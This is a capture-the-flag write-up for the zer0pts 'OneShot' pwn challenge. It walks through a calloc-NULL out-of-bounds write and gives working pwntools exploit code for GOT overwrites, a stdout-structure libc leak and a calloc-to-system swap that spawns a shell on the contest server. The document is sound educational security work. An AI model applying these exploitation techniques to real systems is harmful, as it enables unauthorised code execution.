OneShot
Description
And most importantly… you only have one shot.
Attachment: oneshot.tar.gz xpl.py
Team: Super Guesser
oneshot was a rather small binary with a simple oob-bug when reading an array.
void setup()
{
alarm(0x3C);
setbuf(stdin, 0);
setbuf(stdout, 0);
}
int main(int argc, const char **argv, const char **envp)
{
int size;
unsigned int i;
int *chunk;
chunk = 0;
size = 0;
i = 0;
// Read size for arry
printf("n = ");
__isoc99_scanf("%d", &size);
if ( size > 255 )
exit(1);
// Allocate array
chunk = (char *)calloc(size, 4);
// Read index
printf("i = ");
__isoc99_scanf("%d", &i);
// Read value to array[i] (no boundary checks)
printf("arr[%d] = ", i);
__isoc99_scanf("%d", &chunk[i]);
puts("Done!");
return 0;
}
So, first there’s an obvious oob write possible, since the index is not checked for any upper or lower limits, so we could write after the allocated chunk on the heap, but since we have only one allocation and one write, that alone wouldn’t lead us anywhere.
More important, if we define a size of -1
calloc
will return a null pointer. Together with the unchecked index access, this gives us a write-anywhere primitive, since chunk[i]
is pretty much *(chunk + (i*4))
.
To do something useful, it would be nice, if we can have multiple writes. To get started, we can use this to overwrite puts.got
to point back into main.
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "pwn.ctf.zer0pts.com"
PORT = 9004
def exploit(r):
log.info("Goto into infinite loop")
r.sendlineafter("= ", "-1")
r.sendlineafter("i = ", str(e.got["puts"]/4))
r.sendlineafter(" = ", str(e.symbols["main"]))
r.interactive()
return
if __name__ == "__main__":
e = ELF("./chall")
libc = ELF("./libc.so.6")
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
exploit(r)
else:
LOCAL = True
r = process("./chall", env={"LD_PRELOAD": "./libc.so.6"})
print (util.proc.pidof(r))
pause()
exploit(r)
[+] Starting local process './chall': pid 11909
[11909]
[*] Paused (press any to continue)
[*] Goto into infinite loop
[*] Switching to interactive mode
n = $ 1
i = $ 1
arr[1] = $ 1
n = $ 1
i = $ 1
arr[1] = $ 1
n = $ 1
i = $ 1
arr[1] = $ 1
Now that we can do unlimited writes, it’s time to get some leaks. We don’t know the address of libc
yet and with the size check
if ( size > 255 )
exit(1);
we’re only able to allocate chunks on the heap. But we can eliminate this check by overwriting exit.got
with something less annoying.
Pointing exit.got
to setup
worked out pretty well. The binary will still check the size, but continue execution afterwards and happily allocate a chunk with arbitrary size for us.
r.sendlineafter("= ", "-1")
r.sendlineafter("i = ", str(e.got["exit"]/4))
r.sendlineafter(" = ", str(e.symbols["setup"]))
Being able to allocate huge chunks now, let’s just do exactly that.
# n > 0x100 now possible
r.sendlineafter("n = ", str(50000))
This chunk will be placed in a memory region directly before the first libc region
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/kileak/ctf/zero/oneshot/oneshot/chall
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/kileak/ctf/zero/oneshot/oneshot/chall
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/kileak/ctf/zero/oneshot/oneshot/chall
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]
0x00007ffff7da2000 0x00007ffff7dd5000 0x0000000000000000 rw- <-- Allocated chunk region
0x00007ffff7dd5000 0x00007ffff7dfa000 0x0000000000000000 r-- /home/kileak/ctf/zero/oneshot/oneshot/libc.so.6
0x00007ffff7dfa000 0x00007ffff7f72000 0x0000000000025000 r-x /home/kileak/ctf/zero/oneshot/oneshot/libc.so.6
0x00007ffff7f72000 0x00007ffff7fbc000 0x000000000019d000 r-- /home/kileak/ctf/zero/oneshot/oneshot/libc.so.6
0x00007ffff7fbc000 0x00007ffff7fbd000 0x00000000001e7000 --- /home/kileak/ctf/zero/oneshot/oneshot/libc.so.6
0x00007ffff7fbd000 0x00007ffff7fc0000 0x00000000001e7000 r-- /home/kileak/ctf/zero/oneshot/oneshot/libc.so.6
0x00007ffff7fc0000 0x00007ffff7fc3000 0x00000000001ea000 rw- /home/kileak/ctf/zero/oneshot/oneshot/libc.so.6
Now, we can abuse the oob-index-access to overwrite things in libc :)
Since we’re still in need of leaks, stdout
is a good target, so we just have to calculate the relative position from our allocated chunk to stdouts _IO_write_ptr
.
0x7ffff7fc16a0: 0x00000000fbad2887 0x00007ffff7fc1723 <= Flags / _IO_read_ptr
0x7ffff7fc16b0: 0x00007ffff7fc1723 0x00007ffff7fc1723 <= _IO_read_end / _IO_read_base
0x7ffff7fc16c0: 0x00007ffff7fc1723 0x00007ffff7fc1723 <= _IO_write_base / _IO_write_ptr
0x7ffff7fc16d0: 0x00007ffff7fc1723 0x00007ffff7fc1723 <= _IO_write_end
0x7ffff7fc16e0: 0x00007ffff7fc1724 0x0000000000000000
0x7ffff7fc16f0: 0x0000000000000000 0x0000000000000000
0x7ffff7fc1700: 0x0000000000000000 0x00007ffff7fc0980
0x7ffff7fc1710: 0x0000000000000001 0xffffffffffffffff
0x7ffff7fc1720: 0x0000000000000000 0x00007ffff7fc34c0
0x7ffff7fc1730: 0xffffffffffffffff 0x0000000000000000
0x7ffff7fc1740: 0x00007ffff7fc0880 0x0000000000000000
0x7ffff7fc1750: 0x0000000000000000 0x0000000000000000
0x7ffff7fc1760: 0x00000000ffffffff 0x0000000000000000
0x7ffff7fc1770: 0x0000000000000000 0x00007ffff7fc24a0
gef➤ p/x 0x7ffff7fc16c8 - 0x00007ffff7da2010
$4 = 0x21f6b8
The memory region for the chunk was somewhat off remote, so I needed some correction for this, but
if not LOCAL:
r.sendlineafter("i = ", str((0x21f6b8-0x2000)/4))
else:
r.sendlineafter("i = ", str((0x21f6b8)/4))
r.sendlineafter(" = ", str(0xff000000))
LEAK = r.recv(1000)
LIBCLEAK = u64(LEAK[0x55:0x55+8])
libc.address = LIBCLEAK - 0x1ed4a0
log.info("LIBC leak : %s" % hex(LIBCLEAK))
log.info("LIBC : %s" % hex(libc.address))
r.recv(5000) # receive junk
gave us all the libc leaks we needed to calculate libc base.
[+] Opening connection to pwn.ctf.zer0pts.com on port 9004: Done
[*] Goto into infinite loop
[*] LIBC leak : 0x7fb3df8554a0
[*] LIBC : 0x7fb3df668000
[*] Switching to interactive mode
The only call in the binary, for which we control the first parameter is calloc
, so we can now again use a NULL chunk to overwrite calloc.got
with system and call system("/bin/sh")
.
Since size
is an int, we cannot reference /bin/sh
from libc
, but we can get easily around this, by just writing /bin/sh
into bss first and then use that instead.
log.info("Write /bin/sh to bss")
r.sendline("-1")
r.sendlineafter("i = ", str(0x601050/4))
r.sendlineafter("= ", str(u32("/bin")))
r.sendlineafter("n = ", "-1")
r.sendlineafter("i = ", str(0x601054/4))
r.sendlineafter("= ", str(u32("/sh\x00")))
log.info("Overwrite calloc with system")
r.sendline("-1")
r.sendlineafter("i = ", str(e.got["calloc"]/4))
r.sendlineafter("= ", str(libc.symbols["system"]))
Now, all there’s left to do is to allocate a chunk with size 0x601050
and grab another flag.
log.info("Allocate chunk with size 0x601050 to trigger system('/bin/sh')")
r.sendlineafter("= ", str(0x601050))
[+] Opening connection to pwn.ctf.zer0pts.com on port 9004: Done
[*] Goto into infinite loop
[*] LIBC leak : 0x7f8fc21c54a0
[*] LIBC : 0x7f8fc1fd8000
[*] Write /bin/sh to bss
[*] Overwrite calloc with system
[*] Allocate chunk with size 0x601050 to trigger system('/bin/sh')
[*] Switching to interactive mode
$ ls
chall
flag-c67f34c75fa877241c57d3fad1d05dbc.txt
redir.sh
$ cat flag-c67f34c75fa877241c57d3fad1d05dbc.txt
zer0pts{th1s_1s_why_y0u_sh0uld_ch3ck_r3turn_v4lu3_0f_malloc}